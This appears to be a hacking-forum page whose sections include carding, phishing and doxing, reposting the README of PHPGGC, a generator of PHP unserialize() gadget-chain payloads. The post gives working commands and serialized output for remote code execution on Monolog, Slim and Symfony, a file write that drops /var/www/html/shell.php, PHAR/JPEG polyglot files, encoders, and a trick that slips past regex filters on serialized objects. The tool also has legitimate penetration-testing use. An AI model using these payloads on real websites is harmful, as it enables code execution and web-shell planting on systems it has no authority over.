Jump to content
YOUR-AD-HERE
HOSTING
TOOLS

Search the Community

Showing results for tags 'phpggc'.

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • Staff Control
    • Staff Announcements
  • General doubts | News
    • General doubts
    • News
  • Hacking | Remote Administration | Bugs & Exploits
    • Hacking
    • Remote Administration
    • Bugs & Exploits
  • Programming | Web | SEO | Prefabricated applications
    • General Programming
    • Web Programming
    • Prefabricated Applications
    • SEO
  • Pentesting Zone
    • Pentesting Accounts
    • Reverse Engineering
  • Security & Anonymity
    • Security
    • Wireless Security
    • Web Security
    • Anonymity
  • Operating Systems | Hardware | Programs
    • Operating systems
    • Hardware
    • PC programs
    • iOS
    • Android
  • Graphic Design
    • Graphic Design
  • vBCms Comments
  • live stream tv
    • live stream tv
  • Marketplace
    • Sell
    • Services
    • Request
  • Pentesting Premium
    • Pentesting Accounts
  • Modders Section
    • Source Codes
    • Manuals | Videos
    • Tools
    • Others
  • PRIV8-Section
    • Exploits
    • Accounts|Dumps
    • Crypter|Binder|Bots
    • Tutorials|Videos
    • Cracked Tools
    • Make Money
    • More Tools
    • Databeses
    • Ebooks
  • Pentesting Zone PRIV8
    • Pentesting Accounts
    • Reverse Engineering
    • Cracker Preview Area
  • Carding Zone PRIV8
    • Carding
    • Phishing
    • Defacing
    • Doxing
    • Special User Premium Preview Area
  • Recycle Bin
    • Recycle
  • Null3D's Nulled Group

Product Groups

  • PRIV8
  • Advertising
  • Access Basic
  • Seller
  • Services

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


About Me

Found 1 result

  1. 0x1

    PHPGGC

    PHPGGC: PHP Generic Gadget Chains PHPGGC is a library of unserialize() payloads along with a tool to generate them, from command line or programmatically. When encountering an unserialize on a website you don’t have the code of, or simply when trying to build an exploit, this tool allows you to generate the payload without having to go through the tedious steps of finding gadgets and combining them. It can be seen as the equivalent of Ysoserial, but for PHP. Currently, the tool supports: CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, Wordpress, Yii and ZendFramework. Requirements Usage Run ./phpggc -l to obtain a list of gadget chains: Every gadget chain has: Name: Name of the framework/library Version: Version of the framework/library for which gadgets are for Type: Type of exploitation: RCE, File Write, File Read, Include… Vector: the vector to trigger the chain after the unserialize (__destruct(), __toString(), offsetGet(), …) Informations: Other informations about the chain Use -i to get detailed information about a chain: $ ./phpggc -i symfony/rce1 Name : Symfony/RCE1 Version : 3.3 Type : rce Vector : __destruct Informations : Exec through proc_open() ./phpggc Symfony/RCE1 <command> Once you have selected a chain, run ./phpggc <gadget-chain> [parameters] to obtain the payload. For instance, to obtain a payload for Monolog, you’d do: $ ./phpggc monolog/rce1 assert 'phpinfo()' O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}} For a file write using SwiftMailer, you’d do: $ echo 'It works !' > /tmp/data $ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data O:13:"Swift_Message":8:{...} Wrapper The --wrapper (-w) option allows you to define a PHP file containing the following functions: process_parameters($parameters): Called right before generate(), allows to change parameters process_object($object): Called right before serialize(), allows to change the object process_serialized($serialized): Called right after serialize(), allows to change the serialized string For instance, if the vulnerable code looks like this: <?php $data = unserialize($_GET['data']); print $data['message']; You could use a __toString() chain, wrapping it like so: <?php # /tmp/my_wrapper.php function process_object($object) { return array( 'message' => $object ); } And you’d call phpggc like so: $ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}} PHAR(GGC) History At BlackHat US 2018, @s_n_t released PHARGGC, a fork of PHPGGC which instead of building a serialized payload, builds a whole PHAR file. This PHAR file contains serialized data and as such can be used for various exploitation techniques (file_exists, fopen, etc.). The paper is here. [Hidden Content] Implementation PHAR archives come in three different formats: PHAR, TAR, and ZIP. The three of them are supported by PHPGGC. Polyglot files can be generated using --phar-jpeg (-pj). Other options are available (use -h). Examples $ # Creates a PHAR file in the PHAR format and stores it in /tmp/z.phar $ ./phpggc -p phar -o /tmp/z.phar monolog/rce1 system id $ # Creates a PHAR file in the ZIP format and stores it in /tmp/z.zip.phar $ ./phpggc -p zip -o /tmp/z.zip.phar monolog/rce1 system id $ # Creates a polyglot JPEG/PHAR file from image /tmp/dummy.jpg and stores it in /tmp/z.zip.phar $ ./phpggc -pj /tmp/dummy.jpg -o /tmp/z.zip.phar monolog/rce1 system id Encoders Arguments allow to modify the way the payload is output. For instance, -u will URL encode it, and -b will convert it to base64. Payloads often contain NULL bytes and cannot be copy/pasted as-is. Use -s for a soft URL encode, which keeps the payload readable. The encoders can be chained, and as such the order is important. For instance, ./phpggc -b -u -u slim/rce1 system id will base64 the payload, then URLencode it twice. Advanced: Enhancements Fast destruct PHPGGC implements a --fast-destruct (-f) flag, that will make sure your serialized object will be destroyed right after the unserialize() call, and not at the end of the script. I’d recommend using it for every __destruct vector, as it improves reliability. For instance, if PHP script raises an exception after the call, the __destruct method of your object might not be called. As it is processed at the same time as encoders, it needs to be set first. $ ./phpggc -f -s slim/rce1 system id a:2:{i:7;O:18:"Slim\Http\Response":2:{s:10:"... ASCII Strings Uses the S serialization format instead of the standard s. This replaces every non-ASCII value to an hexadecimal representation: s:5:"A<null_byte>B<cr><lf>";̀ -> S:5:"A\00B\09\0D"; This can be useful when for some reason non-ascii characters are not allowed (NULL BYTE for instance). Since payloads generally contain them, this makes sure that the payload consists only of ASCII values. Note: this is experimental and it might not work in some cases. Plus Numbers Sometimes, PHP scripts verify that the given serialized payload does not contain objects by using a regex such as /O:[0-9]+:. This is easily bypassed using O:+123:... instead of O:123:. One can use --plus-numbers <types>, or -n <types>, to automatically add these + signs in front of symbols. For instance, to obfuscate objects and strings, one can use: --n Os. Please note that since PHP 7.2, only i and d (float) types can have a +. More info && Download [hide]More info : [Hidden Content] Download : [Hidden Content]]
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.